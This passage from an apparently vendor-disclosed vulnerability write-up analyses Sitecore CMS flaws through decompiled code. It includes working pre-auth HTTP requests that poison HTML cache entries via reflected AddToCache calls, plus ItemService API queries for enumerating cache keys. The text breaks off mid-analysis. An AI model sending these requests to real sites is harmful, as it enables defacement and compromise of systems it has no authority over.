Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)

Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)

What is the main purpose of a Content Management System (CMS)?

We have to accept that when we ask such existential and philosophical questions, we’re also admitting that we have no idea and that there probably isn’t an easy answer (this is our excuse, and we’re sticking with it).

However, we’d bet that you, the reader, probably would say something like “to create and deploy websites”. One might even believe each CMS comes with Bambi’s phone number.

Delusion aside, the general consensus seems to be that the ultimate goal of a CMS is to make it easy for end users to create a shiny website on the Internet and do many, many things.

But wait - isn’t the CMS market incredibly crowded? What can a CMS vendor do to stand out?

It’s obvious when you ask yourself, “Why should the enjoyment of editing a website be limited to the intended authorized user?”.

Welcome back to another watchTowr Labs blogpost - Yes, we’re finally following up with part 2 of our Sitecore Experience Platform research.

Today, we’ll discuss our research as we continue from part 1, which ultimately led to our discovery of numerous further vulnerabilities in the Sitecore Experience Platform, enabling complete compromise.

For the unjaded;

Sitecore’s Experience Platform is a vastly popular Content Management System (CMS), exposed to the Internet and heavily utilized across organizations known as ‘the enterprise’. You may recall from our previous Sitecore research - a cursory look at their client list showed tier-1 enterprises, and a cursory sweep of the Internet identified at least 22,000 Sitecore instances.

And yet somehow, we resisted the urge to plaster the Internet with our logo.

You are welcome.

So, What’s Occurring In Part 2?

As always, it wouldn’t be much fun if we didn’t take things way too far.

In part 2 of our Sitecore research, we’ll continue to demonstrate a lack of restraint or awareness of danger, demonstrating how we chained our ability to combine a pre-auth HTML cache poisoning vulnerability with a post-auth Remote Code Execution vulnerability to completely compromise a fully-patched (at the time) Sitecore Experience Platform instance.

Previously, in part 1, you may recall that we covered three vulnerabilities:

Today, in part 2, we will be focusing on new vulnerabilities:

  • WT-2025-0023 (CVE-2025-53693) - HTML Cache Poisoning through Unsafe Reflections
  • WT-2025-0019 (CVE-2025-53691) - Remote Code Execution through Insecure Deserialization
  • WT-2025-0027 (CVE-2025-53694) - Information Disclosure in ItemServices API

These vulnerabilities were identified in Sitecore Experience Platform 10.4.1 rev. 011628 for the purposes of today's analysis.

Patches were released in June and July 2025 (you can find patch details here and here).

0:00
/0:35

WT-2025-0023 (CVE-2025-53693): HTML Cache Poisoning Through Unsafe Reflection

Authors note: attention, this is going to be a very technically heavy section. If you want to skim through, make your way to the cat meme.

If you’ve ever read a Sitecore vulnerability write-up, you’ll know it exposes several different HTTP handlers.

One of them is the infamous Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, which has been abused more than once in the past.

This handler is registered in the web.config file:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

We can reach this handler pre-auth with a simple HTTP request like:

GET /-/xaml/watever

So what’s actually happening here?

The XamlPageHandlerFactory is designed to internally fetch another handler responsible for page generation. This resolution happens through the XamlPageHandlerFactory.GetHandler method:

public IHttpHandler GetHandler(HttpContext context, string requestType, string url, string pathTranslated)
{
    Assert.ArgumentNotNull(context, "context");
    Assert.ArgumentNotNull(requestType, "requestType");
    Assert.ArgumentNotNull(url, "url");
    Assert.ArgumentNotNull(pathTranslated, "pathTranslated");
    int indexOfFirstMatchToken = url.GetIndexOfFirstMatchToken(new List<string>
    {
        "~/xaml/",
        "-/xaml/"
    }, StringComparison.OrdinalIgnoreCase);
    if (indexOfFirstMatchToken >= 0)
    {
        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(url, indexOfFirstMatchToken)); // [1]
    }
    indexOfFirstMatchToken = context.Request.PathInfo.GetIndexOfFirstMatchToken(new List<string>
    {
        "~/xaml/",
        "-/xaml/"
    }, StringComparison.OrdinalIgnoreCase);
    if (indexOfFirstMatchToken >= 0)
    {
        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(context.Request.PathInfo, indexOfFirstMatchToken));
    }
    return null;
}

At [1], the XamlPageHandlerFactory.GetXamlPageHandler method is invoked. Its job is simple on paper: return the handler object that implements the IHttpHandler interface.

There are a few different routines that can resolve which handler gets returned, but the one that matters most for our purposes is the path that leverages .xaml.xml files (that’s almost certainly why the word Xaml shows up in the handler’s name).

These .xaml.xml files are scattered across a Sitecore installation — for example, in locations like sitecore/shell/Applications/Xaml.

Let’s take a look at a fragment of one of these XAML definition files — for example, WebControl.xaml.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<xamlControls 
  xmlns:x="<http://www.sitecore.net/xaml>"
  xmlns:ajax="<http://www.sitecore.net/ajax>"
  xmlns:rest="<http://www.sitecore.net/rest>"
  xmlns:r="<http://www.sitecore.net/renderings>"
  xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"
  xmlns:p="<http://schemas.sitecore.net/Visual-Studio-Intellisense>"
  xmlns:asp="<http://www.sitecore.net/microsoft/webcontrols>"
  xmlns:html="<http://www.sitecore.net/microsoft/htmlcontrols>"
  xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">
  
  <Sitecore.Shell.Xaml.WebControl>
  
    <Sitecore.Controls.HtmlPage runat="server">
      <AjaxScriptManager runat="server" />
      <ContinuationManager runat="server" />

      <asp:Wizard ID="Wizard1" runat="server" Width="322px" ActiveStepIndex="0" OnActiveStepChanged="GetFavoriteNumerOnActiveStepIndex"
                    BorderColor="#B5C7DE" BorderWidth="1px" Font-Size="8pt" 
                    CellPadding="5">
        <NavigationButtonStyle BackColor="White" BorderColor="red" BorderStyle="Solid" BorderWidth="1px" Font-Size="8pt" ForeColor="#284E98" />
        <SideBarStyle BackColor="blue" Font-Size="8pt" VerticalAlign="Top" />
        <StepStyle ForeColor="#333333" />
        <SideBarButtonStyle Font-Size="8pt" ForeColor="White" />
        <HeaderStyle BackColor="green" BorderColor="#EFF3FB"  BorderStyle="Solid" BorderWidth="2px" Font-Bold="True" Font-Size="8pt" ForeColor="White" HorizontalAlign="Center" />
        <WizardSteps>
          <asp:WizardStep ID="WizardStep1" runat="server" Title="Step 1" AllowReturn="False">
            Wizard Step 1<br />
            <br />                                                    
            Favorite Number:                                                                     
            <asp:DropDownList ID="DropDownList1" runat="server">
              <asp:ListItem>1</asp:ListItem>
              <asp:ListItem>2</asp:ListItem>
              <asp:ListItem>3</asp:ListItem>
              <!-- removed for readability -->

This file defines a full control structure, with nested controls and components. You can reach this handler directly by calling the class defined in the first tag:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

From there, Sitecore generates the entire page, initializes every component described in the XAML, and wires up all the flows and rules in the .NET code.

That means you can dig into these XAML definitions and review the controls to see if anything interesting falls out.

Which is exactly how we ended up at this line:

<AjaxScriptManager runat="server" />

It includes the Sitecore.Web.UI.WebControls.AjaxScriptManager control (which extends .NET WebControl). That means some of its methods - like OnPreRender - will fire automatically when the page initializes.

From here, we follow the thread into the code flow. Exciting? Yes. Tiring? Also yes. But this is where things start to get interesting:

protected override void OnPreRender(EventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    base.OnPreRender(e);
    if (!this.IsEvent)
    {
        this.PageScriptManager.OnPreRender();
        return;
    }
    System.Web.UI.Page page = this.Page;
    if (page == null)
    {
        return;
    }
    page.SetRenderMethodDelegate(new RenderMethod(this.RenderPage));
    this.EnableOutput();
    this.EnsureChildControls();
    string clientId = page.Request.Form["__SOURCE"]; // [1]
    string text = page.Request.Form["__PARAMETERS"]; // [2]
    if (string.IsNullOrEmpty(text))
    {
        string systemFormValue = AjaxScriptManager.GetSystemFormValue(page, "__EVENTTYPE");
        if (string.IsNullOrEmpty(systemFormValue))
        {
            return;
        }
        text = AjaxScriptManager.GetLegacyEvent(page, systemFormValue);
    }
    if (ContinuationManager.Current == null)
    {
        this.Dispatch(clientId, text);
        return;
    }
    AjaxScriptManager.DispatchContinuation(clientId, text); // [3]
}

At [1], the code pulls the value of __SOURCE straight from the HTML body.

At [2], it does the same for __PARAMETERS.

At [3], execution continues through the DispachContinuation method - which, in turn, takes us to the Dispatch method. That’s where the real story begins.

internal object Dispatch(string clientId, string parameters)
{
    //... removed for readability
    if (!string.IsNullOrEmpty(clientId))
    {
        control = page.FindControl(clientId); // [1]
        if (control == null)
        {
            control = AjaxScriptManager.FindClientControl(page, clientId); // [2]
        }
    }
    if (control == null)
    {
        control = this.MainControl;
    }
    Assert.IsNotNull(control, "Control \\"{0}\\" not found.", clientId);
    bool flag = AjaxScriptManager.CommandPattern.IsMatch(parameters);
    if (flag)
    {
        this.DispatchCommand(control, parameters);
        return null;
    }
    return AjaxScriptManager.DispatchMethod(control, parameters); // [3]
}

At [1] and [2], the code attempts to retrieve a control based on the __SOURCE parameter. In practice, this means you can point it to any control defined in the XAML.

At [3], the retrieved control and our supplied __PARAMETERS body parameter are passed into the DispatchMethod. This is where things get interesting - the critical method that underpins this vulnerability.

private static object DispatchMethod(System.Web.UI.Control control, string parameters)
{
    Assert.ArgumentNotNull(control, "control");
    Assert.ArgumentNotNullOrEmpty(parameters, "parameters");
    AjaxMethodEventArgs ajaxMethodEventArgs = AjaxMethodEventArgs.Parse(parameters); // [1]
    Assert.IsNotNull(ajaxMethodEventArgs, typeof(AjaxMethodEventArgs), "Parameters \\"{0}\\" could not be parsed.", parameters);
    ajaxMethodEventArgs.TargetControl = control;
    List<IIsAjaxEventHandler> handlers = AjaxScriptManager.GetHandlers(control); // [2]
    for (int i = handlers.Count - 1; i >= 0; i--)
    {
        handlers[i].PreviewMethodEvent(ajaxMethodEventArgs);
        if (ajaxMethodEventArgs.Handled)
        {
            return ajaxMethodEventArgs.ReturnValue;
        }
    }
    for (int j = 0; j < handlers.Count; j++)
    {
        handlers[j].HandleMethodEvent(ajaxMethodEventArgs); // [3]
        if (ajaxMethodEventArgs.Handled)
        {
            return ajaxMethodEventArgs.ReturnValue;
        }
    }
    if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]
    {
        return ajaxMethodEventArgs.ReturnValue;
    }
    return null;
}

At [1], the parameters string is parsed into AjaxMethodEventArgs objects. These objects contain two key properties: the method name and the method arguments. It’s worth noting that arguments can only be retrieved in two forms:

  • An array of strings
  • An empty array

At [2], the code retrieves a list of objects implementing the IIsAjaxEventHandler interface, based on the control we selected.

private static List<IIsAjaxEventHandler> GetHandlers(System.Web.UI.Control control)
{
    Assert.ArgumentNotNull(control, "control");
    List<IIsAjaxEventHandler> list = new List<IIsAjaxEventHandler>();
    while (control != null)
    {
        IIsAjaxEventHandler isAjaxEventHandler = control as IIsAjaxEventHandler;
        if (isAjaxEventHandler != null)
        {
            list.Add(isAjaxEventHandler);
        }
        control = control.Parent;
    }
    return list;
}

It simply takes our control and its parent controls, then attempts a cast.

At [3], the code iterates over the retrieved handlers and calls their HandleMethodEvent.

Let’s pause here. The IIsAjaxEventHandler.HandleMethodEvent method is only implemented in four Sitecore classes, and realistically only two are of interest. By “interesting,” we mean classes that we can supply via the XAML handler and that give us at least some hope of being abusable:

  • Sitecore.Web.UI.XamlShar.Xaml.XamlPage
  • Sitecore.Web.UI.XamlSharp.Xaml.XamlControl

Their implementations of HandleMethodEvent are almost identical:

void IIsAjaxEventHandler.HandleMethodEvent(AjaxMethodEventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    this.ExecuteAjaxMethod(e);
}

protected virtual bool ExecuteAjaxMethod(AjaxMethodEventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true); // [1]
    if (methodFiltered != null)
    {
        methodFiltered.Invoke(this, e.Parameters); // [2]
        return true;
    }
    return false;
}

At [1], the method name and arguments from the AjaxMethodEventArgs are passed into reflection to resolve which method to call.

At [2], the selected method is then invoked with our arguments.

So yes - we’ve landed in a reflection mechanism that lets us call methods dynamically. And we already know we can supply string arguments. In other words, if we can find any method that accepts strings, we might have a straightforward path to RCE.

Before we get too excited, there’s a catch: the method isn’t just any method. It’s resolved through ReflectionUtil.GetMethodFiltered, so we need to understand how that filtering works.

One more detail worth noting: the first argument being passed is this. Which means the current object instance will be handed into the call - and that shapes exactly which methods we can realistically reach.

public static MethodInfo GetMethodFiltered<T>(object obj, string methodName, object[] parameters, bool throwIfFiltered) where T : Attribute
{
    MethodInfo method = ReflectionUtil.GetMethod(obj, methodName, parameters); // [1]
    if (method == null)
    {
        return null;
    }
    return ReflectionUtil.Filter.Filter<T>(method); // [2]
}

At [1], the method gets resolved.

Under the hood, this happens through fairly standard .NET reflection: the input contains both a method name and its arguments. That’s typical reflection behavior - look up a method by name, check its argument types, and call it.

Here’s the twist: the current object is also passed in as an argument. In practice, this object will always be either XamlPage or XamlControl. That means we can only ever resolve methods which:

  • Are implemented in XamlPage, XamlControl, or one of their subclasses.
  • Accept only string arguments, or none at all.

We started reviewing both classes. Nothing exciting there. But then we remembered - these classes also extend regular .NET classes. For example, XamlControl extends System.Web.UI.WebControls.WebControl. That gave us hope. Maybe we could reflectively call interesting methods from WebControl.

That hope was short-lived. At [2], the Filter<T> method steps in. It enforces internal allowlists and denylists over the methods returned at [1]. The ultimate rule is simple: only methods whose full name contains Sitecore. are allowed. That kills our chance to call into .NET’s WebControl - since, unsurprisingly, its full name doesn’t contain “Sitecore”.

So, to recap:

  • Yes, there’s reflection.
  • But it’s restricted to Sitecore methods only (and two Sitecore classes).
  • Sadly, nothing abusable here.

Still, we chased this rabbit hole with excitement - the attack surface looked incredibly promising. That’s research life: get your hopes up, then watch them get filtered out.

But before giving up, we spotted one more detail worth digging into. At [4] in DispatchMethod, there’s another branch of logic that can be easy to miss in the shadow of the reflection handling:

if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]

If the control can be cast to XmlControl, execution takes a different path. It’s handed directly into DispatchXmlControl, along with our ajaxMethodEventArgs.

But once you dig into DispatchXmlControl, you realize it behaves almost exactly like the reflection flow we just walked through.

Same mechanics, same idea – just a slightly different wrapper.

private static bool DispatchXmlControl(System.Web.UI.Control control, AjaxMethodEventArgs eventArgs)
{
    Assert.ArgumentNotNull(control, "control");
    Assert.ArgumentNotNull(eventArgs, "eventArgs");
    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(control, eventArgs.Method, eventArgs.Parameters, true);
    if (methodFiltered == null)
    {
        return false;
    }
    eventArgs.ReturnValue = methodFiltered.Invoke(control, eventArgs.Parameters);
    eventArgs.Handled = true;
    return true;
}

There’s one major difference here though. Our control is no longer XamlPage or XamlControl in type - it’s an XmlControl type. That technically extends the attack surface, since we already knew the first two classes didn’t offer much in terms of abusable methods.

So what about XmlControl? Could this be where things get exciting?

Sadly, no. There’s nothing particularly juicy hiding inside. But for completeness (and to avoid the sinking feeling of missing something obvious later), let’s take a quick look at its definition anyway:

namespace Sitecore.Web.UI.XmlControls
{
    public class XmlControl : WebControl, IHasPlaceholders
    {
		    //...
		}
}

There’s a small trap here. At first glance, you might think XmlControl extends the familiar .NET System.Web.UI.WebControl. That wouldn’t be a big deal, because implemented reflections deny the non-Sitecore classes.

But no - XmlControl actually extends an abstract class, Sitecore.Web.UI.WebControl. This subtle difference matters because it means it slips through the whitelist filter we saw earlier. In other words, this class,= and anything that extends it, can get past the “only Sitecore.*” rule. That puts it back on our “potentially abusable” list.

Now, the obvious question: can we actually deliver any control that extends XmlControl? Without that, this whole reflection path is just an academic curiosity.

After a bit of digging, we found the answer - and it’s not a long list. In fact, we found only one handler with a class extending XmlControl:

HtmlPage.xaml.xml

This is our entry point. If we can instantiate this control through a crafted XAML handler, we can hit the reflection logic again - this time with a new type (XmlControl) that passes the whitelist check. And that finally sets us up for the “magic method” we’d been chasing all along.

<?xml version="1.0" encoding="utf-8" ?>
<xamlControls
  xmlns:html="<http://www.sitecore.net/htmlcontrols>"
  xmlns:x="<http://www.sitecore.net/xaml>"
  xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"> <!-- [1] -->
  <Sitecore.Controls.HtmlPage>&lt;!DOCTYPE html&gt;
    <x:param name="Title" value="Sitecore" />
    <x:param name="Background" />
    <x:param name="Overflow" />
    <html>
      <html:Head runat="server">
        <html:Title runat="server">
          <Literal Text="{Title}" runat="server"></Literal>
        </html:Title>
        <meta name="GENERATOR" content="Sitecore" />
        <meta http-equiv="imagetoolbar" content="no" />
        <meta http-equiv="imagetoolbar" content="false" />
        <Placeholder runat="server" key="Stylesheets"/>
        <Placeholder runat="server" key="Scripts"/>
      </html:Head>

      <HtmlBody runat="server">
        <x:styleattribute runat="server" name="overflow" value="{Overflow}" />

        <html:Form runat="server">
          <x:styleattribute runat="server" name="background" value="{Background}" />
          <xmlcontrol:GlobalHeader runat="server"/> <!-- [2] -->
          <Placeholder runat="server"/>
        </html:Form>
      </HtmlBody>
    </html>
  </Sitecore.Controls.HtmlPage>
</xamlControls>

At [1], we’ve got the xmlcontrol namespace defined.

At [2], you can see the xmlcontrol:GlobalHeader in action.

So far, so good. But something’s missing: you’ll notice the AjaxScriptManager isn’t referenced anywhere in this XAML. And without it, we can’t actually trigger the reflection logic we’ve been chasing.

Fortunately, we didn’t have to wait long for a breakthrough. We quickly realized that the HtmlPage control shows up in other handlers too. One of the most interesting?

Sitecore.Shell.Xaml.WebControl

This handler pulls in both the HtmlPage and the AjaxScriptManager. That means, in this context, the missing piece snaps into place – and our path to reflection (via XmlControl) is wide open again.

Let’s take a look:

<!-- removed for readability -->
<Sitecore.Shell.Xaml.WebControl>

	<Sitecore.Controls.HtmlPage runat="server">
	  <AjaxScriptManager runat="server" />
<!-- removed for readability -->

We have HtmlPage referenced in Sitecore.Shell.Xaml.WebControl, and that in turn pulls in the xmlcontrol:GlobalHeader control.

So to sum up, if we call this endpoint:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

We have the AjaxScriptManager used, thus the code responsible for the reflection will be triggered, and xmlcontrol:GlobalHeader will be on the list of available controls. Great!

Which means it’s finally time to reveal the “secret weapon” we found hiding inside the Sitecore.Web.UI.WebControl class: a surprisingly powerful method that changes the game.

It’s the Sitecore.Web.UI.WebControl.AddToCache(string, string) method:

protected virtual void AddToCache(string cacheKey, string html)
{
    HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site); 
    if (htmlCache != null)
    {
        htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);
    }
}

You might have expected something flashier. But then again, the title of this blog literally promised HTML cache poisoning - so maybe this is exactly what we deserved.

Still, there’s a certain beauty in just how simple (and unsafe) this reflection really is. With a single call to AddToCache, we can hand it two things:

  • The name of the cache key
  • Whatever HTML content we want stored under that key

Internally, this just wraps HtmlCache.SetHtml, which happily overwrites existing entries or adds new ones. That’s it. Clean, direct, and very powerful.

And the best part? This works pre-auth. If there’s any HTML cached in Sitecore, we can replace it with whatever we want.

Reaching AddToCache

That long description can feel like a maze if you’re not buried in the codebase or stepping through the debugger. So let’s take a breather from the internals and look at something a little more tangible: a sample HTTP request:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 117
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("watever","<html><body>watchTowr</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Let’s break this request down into its two important parameters:

  • __PARAMETERS - here, the method name AddToCache is specified. Inside the parentheses we pass two string arguments: the first is the cacheKey, the second is the html value to store.
  • __SOURCE - this identifies the control on which the method from __PARAMETERS should be executed.

This control identifier isn’t exactly intuitive: ctl00_ctl00_ctl05_ctl03 represents the tree of controls defined in the XAML, ultimately pointing us to the GlobalHeader control (which extends XmlControl). This identifier should be stable across Sitecore deployments since it’s derived directly from the static XAML handler definitions.

To double-check, you can step into AjaxScriptManager.FindClientControl and verify that the __SOURCE value really does resolve to the GlobalHeader.

It does indeed resolve correctly - __SOURCE gives us the GlobalHeader control (the control3 object). Perfect.

From here, we can keep stepping through the debugger until execution flows straight into DispatchXmlControl. That’s where things start to get properly interesting.

We’ve finally hit the reflection stage, and methodFiltered is set to the AddToCache(string, string) method – reflection worked.

At this point, there’s no detour left: execution lands exactly where we wanted it, with a direct call to AddToCache.

This is super awesome - but we’re not ready to celebrate yet. We still don’t know how Sitecore actually generates the cacheKey, and without that piece of the puzzle we can’t reliably overwrite legitimate cached HTML.

Cache Key Creation

After a quick investigation, we realized that nothing in Sitecore is cacheable by default. You have to explicitly opt in for HTML caching, but it turns out that’s extremely common.

Performance guides, blog posts, and Sitecore’s own docs all recommend enabling it to speed up your site. In fact, Sitecore actively encourages it in multiple places, like here and here:

You use the HTML cache to improve the performance of websites.

You can get significant performance gains from configuring output caching for Layout Service renderings...

Enabling caching is as simple as flipping a setting for Sitecore items – just like in the screenshot below.

If you tick the Cacheable box, caching is enabled for that specific Sitecore item. There are a handful of other options too - like Vary By Login, Vary By Query String, etc.

These selections aren’t just cosmetic. They directly influence how the cache key is generated inside Sitecore.Web.UI.WebControl.GetCacheKey. In practice, the cache key is built from a mix of the item name plus whatever “vary by” conditions you’ve configured.

So the shape of the cache key - and whether you can reliably overwrite a given entry - depends entirely on how caching has been configured for that item.

public virtual string GetCacheKey()
{
	SiteContext site = Sitecore.Context.Site;
	if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()) // [1]
	{
		string text = this.CachingID; // [2]
		if (text.Length == 0)
		{
			text = this.CacheKey;
		}
		if (text.Length > 0)
		{
			string text2 = text + "_#lang:" + Language.Current.Name.ToUpperInvariant(); // [3]
			if (this.VaryByData) // [4]
			{
				string str = this.ResolveDataKeyPart();
				text2 += str;
			}
			if (this.VaryByDevice) // [5]
			{
				text2 = text2 + "_#dev:" + Sitecore.Context.GetDeviceName();
			}
			if (this.VaryByLogin) // [6]
			{
				text2 = text2 + "_#login:" + Sitecore.Context.IsLoggedIn.ToString();
			}
			if (this.VaryByUser) // [7]
			{
				text2 = text2 + "_#user:" + Sitecore.Context.GetUserName();
			}
			if (this.VaryByParm) // [8]
			{
				text2 = text2 + "_#parm:" + this.Parameters;
			}
			if (this.VaryByQueryString && site != null) // [9]
			{
				SiteRequest request = site.Request;
				if (request != null)
				{
					text2 = text2 + "_#qs:" + MainUtil.ConvertToString(request.QueryString, "=", "&");
				}
			}
			if (this.ClearOnIndexUpdate)
			{
				text2 += "_#index";
			}
			return text2;
		}
	}
	return string.Empty;
}

At [1], the code first checks whether caching is enabled for the item. If not, it just returns an empty string and nothing gets stored.

At [2], it builds the base of the cache key from the item name. This is usually derived from either the item’s path or its URL. For example, an item named Sample Sublayout.ascx under Sitecore’s internal /layouts path would start with:

/layouts/Sample Sublayout.ascx

At [3], the language is appended. So for English, the key becomes:

/layouts/Sample Sublayout.ascx_#lang:EN

From there, additional segments can be bolted on depending on the item’s caching configuration. These come from the VaryBy... options ([4] to [9]), and they add complexity to the cache key. Some are trivial to predict (like True or False), while others are essentially impossible to guess (like GUIDs).

Put simply - whether you can target and overwrite a specific cache entry depends entirely on which “Vary By” options are enabled for that item.

Simple Proof of Concept

With a few sample cache keys in hand, you can already start abusing this behavior. Here’s what the original page looks like before poisoning…

Now, let’s send the HTTP cache poisoning request:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 110
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang%3aEN_%23login%3aFalse_%23qs%3a_%23index","<html>removedforreadability</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

And voila, we’ve annoyed yet another website:

We now have final proof that our HTML cache poisoning vulnerability works as intended. Time to celebrate with the meme (what else?):

In the example above, an attacker could generate a list of likely cache keys - maybe hundreds - overwrite them one by one, and check which ones affect the rendered page.

That already looks promising, but it wasn’t enough for us. We wanted something cleaner: a way to enumerate cache keys directly, so we could compromise targets instantly and reliably. After a perfectly normal amount of coffee, questionable life choices, and staring at decompiled Sitecore code, we eventually found some ways to do exactly that.

Enumerating Cache Keys with ItemService API

We already know that we can poison Sitecore HTML cache keys - and yes, that gives us the power to quietly sneak watchTowr logos into various websites. As much as we love that idea, the actual exploitation feels… clunky. We can poison the cache, but we don’t know the cache keys. On some pages, brute-forcing them might work (cumbersome), on others it won’t (frustrating). Sigh.

So we set ourselves a new goal: enumerate the cache keys, and move to fully automated pwnage (sorry, we mean “automated watchTowr logo deployment”).

That search led us to something called the ItemService API. By default, it only binds to loopback and blocks remote requests with a 403. But reality is never that neat - it’s not uncommon to see:

  • ItemService exposed directly to the internet
  • Anonymous access enabled (yes, really)

Exposing it is as simple as tweaking a config file, and the vendor even documents how to do it here. We’ve personally seen it hanging out on the public internet, and you’ll find community threads recommending it too.

The result? Anyone can enumerate your Sitecore items, no authentication required. In theory, you’d only expose this in very narrow scenarios, like multiple Sitecore instances talking to each other. In practice? People like to live dangerously.

If you want to check whether your environment has made this “creative configuration decision,” here’s the quick test: send the following HTTP request…

GET /sitecore/api/ssc/item HTTP/2
Host: labcm.dev.local

If you see a 403 Forbidden response, that’s actually “good” news - it means the ItemService API isn’t exposed to the internet (or at least requires authentication).

If it’s fully exposed though, you’ll get a 404 Not Found response instead - which is exactly what we want:

HTTP/2 404 Not Found
...

The item "" was not found.

It may have been deleted by another user.

When the API is exposed, you can use the search endpoint to query any item you want. In our case, we’re especially interested in items that can be cached. For example, here’s a request:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local

We’re specifically interested in Sitecore layouts. In the response below, you can look for items with the Cacheable key set to 1 - which means caching is enabled for them:

{
    "ItemID":"885b8314-7d8c-4cbb-8000-01421ea8f406",
    "ItemName":"Sample Sublayout",
    "ItemPath":"/sitecore/layout/Sublayouts/Sample Sublayout",
    "ParentID":"eb443c0b-f923-409e-85f3-e7893c8c30c2",
    "TemplateID":"0a98e368-cdb9-4e1e-927c-8e0c24a003fb",
    "TemplateName":"Sublayout",
    "Path":"/layouts/Sample Sublayout.ascx",
    "...":"...",
    **"Cacheable":"1",**
    "CacheClearingBehavior":"",
    "ClearOnIndexUpdate":"1",
    "VaryByData":"",
    "VaryByDevice":"1",
    "VaryByLogin":"1",
    "VaryByParm":"",
    "VaryByQueryString":"",
    "VaryByUser":"",
    "restofkeys":"removedforreadability"
}

You can see that the API reveals everything an attacker would want:

  • The full item path (used in the cache key), for example: /layouts/Sample Sublayout.ascx
  • Whether caching is enabled for that item (Cacheable key).
  • Which cache settings are turned on, like VarByData and others.

With this information, the attacker can already predict the structure of the cache key:

/layouts/Sample Sublayout.ascx_#lang:EN_#dev:{DEVICENAME}_#login:{True|False}_#index

The only missing piece is the actual device names. They could guess the default Sitecore ones, but why guess when you can just enumerate all devices directly? For that, they can send a simple HTTP request:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 HTTP/2
Host: labcm.dev.local

And just like that, the response hands over every available device name. One of these values will slot neatly into the cache key - no guesswork required.

"Results":[
    {"ItemName":"Mobile"},
    {"ItemName":"JSON"},
    {"ItemName":"Default"},
    {"ItemName":"Feed"},
    {"ItemName":"Print"},
    {"ItemName":"Extra Extra Large"},
    {"ItemName":"Extra Small"},
    {"ItemName":"Medium"},
    ...
]

The same trick works for all cache key settings. If someone has enabled VaryByData, you can just lean on the API again to enumerate GUIDs of data sources and churn out a neat set of potential cache keys.

Put simply: if the ItemService API is exposed, our HTML cache poisoning stops being “cumbersome exploitation” and turns into “trivial button-clicking.” Why? Because we can enumerate every cacheable item and all the parameters that make up its cache keys. Depending on the environment, that gives you anywhere from a few dozen to a few thousand cache keys to target.

So the exploitation flow looks like this:

  • Attacker enumerates all cacheable items.
  • Attacker enumerates cache settings for those items.
  • Attacker enumerates related items (like devices) used in cache keys.
  • Attacker builds a complete list of valid cache keys.
  • Attacker poisons those cache keys.

(Bonus) WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User

On some rare occasions, you may come across an ItemService API that runs under a restricted anonymous user. How do you spot this? The search returns no results, even when you query for default Sitecore items that should always be present.

A good example is the well-known ServicesAPI user, who has no access to most items (and we already know its password). If the API is configured so that anonymous requests impersonate ServicesAPI, a basic search like this:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=&page=0&pagesize=100&includeStandardTemplateFields=true HTTP/2
Host: labcm.dev.local

We will receive a following response:

{
    ...
	"TotalCount":42,
	"TotalPage":1,
	"Links":[],
	"Results":[]
}

The Results array comes back empty, meaning our items were filtered out. That makes sense - the user we’re impersonating isn’t supposed to see them.

But wait… something doesn’t add up.

Alright, something is very wrong here. The API claims there are 42 results, yet the Results array is empty.

Code doesn’t lie, so we dug in.

public ItemSearchResults Search(string term, string databaseName, string language, string sorting, int page, int pageSize, string facet)
{
	//... 
	using (IProviderSearchContext providerSearchContext = searchIndexFor.CreateSearchContext(SearchSecurityOptions.Default))
	{
		//...
		SearchResults<FullTextSearchResultItem> results = this._queryableOperations.GetResults(source); // [1]
		source = this._queryableOperations.Skip(source, pageSize * page);
		source = this._queryableOperations.Take(source, pageSize);
		SearchResults<FullTextSearchResultItem> results2 = this._queryableOperations.GetResults(source); // [2]
		Item[] items = (from i in this._queryableOperations.HitsSelect(results2, (SearchHit<FullTextSearchResultItem> x) => x.Document.GetItem()) // [3]
		where i != null
		select i).ToArray<Item>();
		int num = this._queryableOperations.HitsCount(results); // [4]
		result = new ItemSearchResults
		{
			TotalCount = num,
			NumberOfPages = ItemSearch.CalculateNumberOfPages(pageSize, num),
			Items = items,
			Facets = this._queryableOperations.Facets(results)
		};
	}
	return result;
}

At [1] and [2], an Apache Solr query is performed and the results are retrieved.

